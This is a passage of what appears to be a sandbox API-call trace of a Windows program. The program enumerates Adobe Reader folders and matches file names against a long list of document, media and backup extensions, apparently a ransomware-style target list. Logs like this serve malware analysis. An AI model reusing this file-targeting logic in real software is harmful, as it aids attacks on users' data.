(lpString1=".3fr", lpString2="s.js") returned -1 [0263.791] lstrlenW (lpString=".3g2") returned 4 [0263.791] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.791] lstrlenW (lpString=".3gp") returned 4 [0263.791] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.791] lstrlenW (lpString=".7z") returned 3 [0263.791] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.791] lstrlenW (lpString=".accda") returned 6 [0263.791] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.791] lstrlenW (lpString=".accdb") returned 6 [0263.791] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.791] lstrlenW (lpString=".accdc") returned 6 [0263.791] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.792] lstrlenW (lpString=".accde") returned 6 [0263.792] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.792] lstrlenW (lpString=".accdt") returned 6 [0263.792] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.792] lstrlenW (lpString=".accdw") returned 6 [0263.792] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.792] lstrlenW (lpString=".adb") returned 4 [0263.792] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.792] lstrlenW (lpString=".adp") returned 4 [0263.792] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.792] lstrlenW (lpString=".ai") returned 3 [0263.792] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.792] lstrlenW (lpString=".ai3") returned 4 [0263.792] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.792] lstrlenW (lpString=".ai4") returned 4 [0263.794] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.794] lstrlenW (lpString=".ai5") returned 4 [0263.794] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.794] lstrlenW (lpString=".ai6") returned 4 [0263.794] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.794] lstrlenW (lpString=".ai7") returned 4 [0263.794] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.794] lstrlenW (lpString=".ai8") returned 4 [0263.794] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.794] lstrlenW (lpString=".anim") returned 5 [0263.794] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.794] lstrlenW (lpString=".arw") returned 4 [0263.794] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.794] lstrlenW (lpString=".as") returned 3 [0263.794] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.794] lstrlenW (lpString=".asa") returned 4 [0263.794] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.795] lstrlenW (lpString=".asc") returned 4 [0263.795] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.795] lstrlenW (lpString=".ascx") returned 5 [0263.795] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.795] lstrlenW (lpString=".asm") returned 4 [0263.795] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.795] lstrlenW (lpString=".asmx") returned 5 [0263.795] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0263.795] lstrlenW (lpString=".asp") returned 4 [0263.795] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.795] lstrlenW (lpString=".aspx") returned 5 [0263.795] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.795] lstrlenW (lpString=".asr") returned 4 [0263.795] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.795] lstrlenW (lpString=".asx") returned 4 [0263.795] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.795] lstrlenW (lpString=".avi") returned 4 [0263.795] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.795] lstrlenW (lpString=".avs") returned 4 [0263.795] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.795] lstrlenW (lpString=".backup") returned 7 [0263.795] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.795] lstrlenW (lpString=".bak") returned 4 [0263.796] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.796] lstrlenW (lpString=".bay") returned 4 [0263.796] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.796] lstrlenW (lpString=".bd") returned 3 [0263.796] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.796] lstrlenW (lpString=".bin") returned 4 [0263.796] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.796] lstrlenW (lpString=".bmp") returned 4 [0263.796] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.796] lstrlenW (lpString=".bz2") returned 4 [0263.796] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.796] lstrlenW (lpString=".c") returned 2 [0263.796] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.796] lstrlenW (lpString=".cdr") returned 4 [0263.796] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.796] lstrlenW (lpString=".cer") returned 4 [0263.796] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.796] lstrlenW (lpString=".cf") returned 3 [0263.796] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.796] lstrlenW (lpString=".cfc") returned 4 [0263.796] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.796] lstrlenW (lpString=".cfm") returned 4 [0263.796] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.797] lstrlenW (lpString=".cfml") returned 5 [0263.797] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.797] lstrlenW (lpString=".cfu") returned 4 [0263.797] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.797] lstrlenW (lpString=".chm") returned 4 [0263.797] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0263.797] lstrlenW (lpString=".cin") returned 4 [0263.797] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0263.797] lstrlenW (lpString=".class") returned 6 [0263.797] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0263.797] lstrlenW (lpString=".clx") returned 4 [0263.797] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0263.797] lstrlenW (lpString=".config") returned 7 [0263.797] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0263.797] lstrlenW (lpString=".cpp") returned 4 [0263.797] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0263.797] lstrlenW (lpString=".cr2") returned 4 [0263.797] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0263.797] lstrlenW (lpString=".crt") returned 4 [0263.797] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0263.797] lstrlenW (lpString=".crw") returned 4 [0263.797] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0263.797] lstrlenW (lpString=".cs") returned 3 [0263.798] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0263.798] lstrlenW (lpString=".css") returned 4 [0263.798] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0263.798] lstrlenW (lpString=".csv") returned 4 [0263.798] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0263.798] lstrlenW (lpString=".cub") returned 4 [0263.798] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0263.798] lstrlenW (lpString=".dae") returned 4 [0263.798] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0263.798] lstrlenW (lpString=".dat") returned 4 [0263.798] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0263.798] lstrlenW (lpString=".db") returned 3 [0263.798] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0263.798] lstrlenW (lpString=".dbf") returned 4 [0263.798] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0263.798] lstrlenW (lpString=".dbx") returned 4 [0263.798] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0263.798] lstrlenW (lpString=".dc3") returned 4 [0263.798] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0263.799] lstrlenW (lpString=".dcm") returned 4 [0263.799] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0263.799] lstrlenW (lpString=".dcr") returned 4 [0263.799] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0263.799] lstrlenW (lpString=".der") returned 4 [0263.799] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0263.799] lstrlenW (lpString=".dib") returned 4 [0263.799] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0263.799] lstrlenW (lpString=".dic") returned 4 [0263.799] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0263.799] lstrlenW (lpString=".dif") returned 4 [0263.799] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0263.799] lstrlenW (lpString=".divx") returned 5 [0263.799] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0263.799] lstrlenW (lpString=".djvu") returned 5 [0263.799] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0263.799] lstrlenW (lpString=".dng") returned 4 [0263.799] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0263.799] lstrlenW (lpString=".doc") returned 4 [0263.799] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0263.799] lstrlenW (lpString=".docm") returned 5 [0263.799] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0263.800] lstrlenW (lpString=".docx") returned 5 [0263.800] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0263.800] lstrlenW (lpString=".dot") returned 4 [0263.800] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0263.800] lstrlenW (lpString=".dotm") returned 5 [0263.800] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0263.800] lstrlenW (lpString=".dotx") returned 5 [0263.800] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0263.800] lstrlenW (lpString=".dpx") returned 4 [0263.800] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0263.800] lstrlenW (lpString=".dqy") returned 4 [0263.800] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0263.800] lstrlenW (lpString=".dsn") returned 4 [0263.800] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0263.800] lstrlenW (lpString=".dt") returned 3 [0263.800] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0263.800] lstrlenW (lpString=".dtd") returned 4 [0263.800] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0263.800] lstrlenW (lpString=".dwg") returned 4 [0263.800] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0263.800] lstrlenW (lpString=".dwt") returned 4 [0263.800] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0263.800] lstrlenW (lpString=".dx") returned 3 [0263.801] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0263.801] lstrlenW (lpString=".dxf") returned 4 [0263.801] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0263.801] lstrlenW (lpString=".edml") returned 5 [0263.801] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0263.801] lstrlenW (lpString=".efd") returned 4 [0263.801] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0263.801] lstrlenW (lpString=".elf") returned 4 [0263.801] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0263.801] lstrlenW (lpString=".emf") returned 4 [0263.801] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0263.802] lstrlenW (lpString=".emz") returned 4 [0263.802] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0263.802] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5391, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.803] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0263.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0263.803] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0263.803] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk") returned 105 [0263.803] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk") returned 1 [0263.803] lstrlenW (lpString="sk-sk") returned 5 [0263.803] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sk-sk") returned -1 [0263.803] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0263.803] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk") returned 105 [0263.803] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0263.804] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.804] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.804] lstrlenW (lpString="ui-strings.js") returned 13 [0263.804] lstrlenW (lpString=".1cd") returned 4 [0263.804] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.804] lstrlenW (lpString=".3ds") returned 4 [0263.804] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.804] lstrlenW (lpString=".3fr") returned 4 [0263.804] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0263.804] lstrlenW (lpString=".3g2") returned 4 [0263.804] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.804] lstrlenW (lpString=".3gp") returned 4 [0263.805] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.805] lstrlenW (lpString=".7z") returned 3 [0263.805] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.805] lstrlenW (lpString=".accda") returned 6 [0263.805] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.805] lstrlenW (lpString=".accdb") returned 6 [0263.805] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.805] lstrlenW (lpString=".accdc") returned 6 [0263.805] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.805] lstrlenW (lpString=".accde") returned 6 [0263.805] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.805] lstrlenW (lpString=".accdt") returned 6 [0263.805] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.805] lstrlenW (lpString=".accdw") returned 6 [0263.805] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.805] lstrlenW (lpString=".adb") returned 4 [0263.805] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.805] lstrlenW (lpString=".adp") returned 4 [0263.805] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.805] lstrlenW (lpString=".ai") returned 3 [0263.805] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.806] lstrlenW (lpString=".ai3") returned 4 [0263.806] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.806] lstrlenW (lpString=".ai4") returned 4 [0263.806] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.806] lstrlenW (lpString=".ai5") returned 4 [0263.806] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.806] lstrlenW (lpString=".ai6") returned 4 [0263.806] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.806] lstrlenW (lpString=".ai7") returned 4 [0263.806] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.806] lstrlenW (lpString=".ai8") returned 4 [0263.806] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.806] lstrlenW (lpString=".anim") returned 5 [0263.806] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.806] lstrlenW (lpString=".arw") returned 4 [0263.806] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.806] lstrlenW (lpString=".as") returned 3 [0263.807] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.807] lstrlenW (lpString=".asa") returned 4 [0263.807] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.807] lstrlenW (lpString=".asc") returned 4 [0263.807] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.807] lstrlenW (lpString=".ascx") returned 5 [0263.807] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.807] lstrlenW (lpString=".asm") returned 4 [0263.807] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.807] lstrlenW (lpString=".asmx") returned 5 [0263.807] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0263.807] lstrlenW (lpString=".asp") returned 4 [0263.807] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.807] lstrlenW (lpString=".aspx") returned 5 [0263.807] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.807] lstrlenW (lpString=".asr") returned 4 [0263.807] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.807] lstrlenW (lpString=".asx") returned 4 [0263.807] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.807] lstrlenW (lpString=".avi") returned 4 [0263.807] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.807] lstrlenW (lpString=".avs") returned 4 [0263.807] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.808] lstrlenW (lpString=".backup") returned 7 [0263.808] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.808] lstrlenW (lpString=".bak") returned 4 [0263.808] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.808] lstrlenW (lpString=".bay") returned 4 [0263.808] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.808] lstrlenW (lpString=".bd") returned 3 [0263.808] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.808] lstrlenW (lpString=".bin") returned 4 [0263.808] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.808] lstrlenW (lpString=".bmp") returned 4 [0263.808] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.808] lstrlenW (lpString=".bz2") returned 4 [0263.808] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.808] lstrlenW (lpString=".c") returned 2 [0263.808] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.808] lstrlenW (lpString=".cdr") returned 4 [0263.808] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.808] lstrlenW (lpString=".cer") returned 4 [0263.808] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.808] lstrlenW (lpString=".cf") returned 3 [0263.809] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.809] lstrlenW (lpString=".cfc") returned 4 [0263.809] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.809] lstrlenW (lpString=".cfm") returned 4 [0263.809] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.809] lstrlenW (lpString=".cfml") returned 5 [0263.809] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.809] lstrlenW (lpString=".cfu") returned 4 [0263.809] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.809] lstrlenW (lpString=".chm") returned 4 [0263.809] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0264.090] lstrlenW (lpString=".cin") returned 4 [0264.090] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0264.090] lstrlenW (lpString=".class") returned 6 [0264.090] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0264.090] lstrlenW (lpString=".clx") returned 4 [0264.090] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0264.090] lstrlenW (lpString=".config") returned 7 [0264.091] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0264.091] lstrlenW (lpString=".cpp") returned 4 [0264.091] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0264.091] lstrlenW (lpString=".cr2") returned 4 [0264.091] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0264.091] lstrlenW (lpString=".crt") returned 4 [0264.091] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0264.091] lstrlenW (lpString=".crw") returned 4 [0264.091] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0264.091] lstrlenW (lpString=".cs") returned 3 [0264.091] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0264.091] lstrlenW (lpString=".css") returned 4 [0264.091] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0264.091] lstrlenW (lpString=".csv") returned 4 [0264.091] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0264.091] lstrlenW (lpString=".cub") returned 4 [0264.091] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0264.091] lstrlenW (lpString=".dae") returned 4 [0264.091] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0264.091] lstrlenW (lpString=".dat") returned 4 [0264.091] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0264.091] lstrlenW (lpString=".db") returned 3 [0264.201] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0264.201] lstrlenW (lpString=".dbf") returned 4 [0264.201] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0264.201] lstrlenW (lpString=".dbx") returned 4 [0264.201] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0264.201] lstrlenW (lpString=".dc3") returned 4 [0264.201] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0264.201] lstrlenW (lpString=".dcm") returned 4 [0264.201] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0264.201] lstrlenW (lpString=".dcr") returned 4 [0264.201] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0264.201] lstrlenW (lpString=".der") returned 4 [0264.201] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0264.201] lstrlenW (lpString=".dib") returned 4 [0264.201] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0264.201] lstrlenW (lpString=".dic") returned 4 [0264.201] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0264.201] lstrlenW (lpString=".dif") returned 4 [0264.201] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0264.201] lstrlenW (lpString=".divx") returned 5 [0264.201] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0264.201] lstrlenW (lpString=".djvu") returned 5 [0264.201] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0264.201] lstrlenW (lpString=".dng") returned 4 [0264.201] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0264.202] lstrlenW (lpString=".doc") returned 4 [0264.202] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0264.202] lstrlenW (lpString=".docm") returned 5 [0264.202] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0264.202] lstrlenW (lpString=".docx") returned 5 [0264.202] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0264.202] lstrlenW (lpString=".dot") returned 4 [0264.202] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0264.202] lstrlenW (lpString=".dotm") returned 5 [0264.202] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0264.202] lstrlenW (lpString=".dotx") returned 5 [0264.202] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0264.202] lstrlenW (lpString=".dpx") returned 4 [0264.202] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0264.202] lstrlenW (lpString=".dqy") returned 4 [0264.202] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0264.202] lstrlenW (lpString=".dsn") returned 4 [0264.202] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0264.202] lstrlenW (lpString=".dt") returned 3 [0264.202] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0264.202] lstrlenW (lpString=".dtd") returned 4 [0264.202] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0264.202] lstrlenW (lpString=".dwg") returned 4 [0264.202] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0264.203] lstrlenW (lpString=".dwt") returned 4 [0264.203] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0264.203] lstrlenW (lpString=".dx") returned 3 [0264.203] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0264.203] lstrlenW (lpString=".dxf") returned 4 [0264.203] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0264.203] lstrlenW (lpString=".edml") returned 5 [0264.203] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0264.203] lstrlenW (lpString=".efd") returned 4 [0264.203] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0264.203] lstrlenW (lpString=".elf") returned 4 [0264.203] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0264.203] lstrlenW (lpString=".emf") returned 4 [0264.203] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0264.203] lstrlenW (lpString=".emz") returned 4 [0264.203] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0264.203] lstrlenW (lpString=".epf") returned 4 [0264.203] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0264.203] lstrlenW (lpString=".eps") returned 4 [0264.203] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0264.203] lstrlenW (lpString=".epsf") returned 5 [0264.203] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") 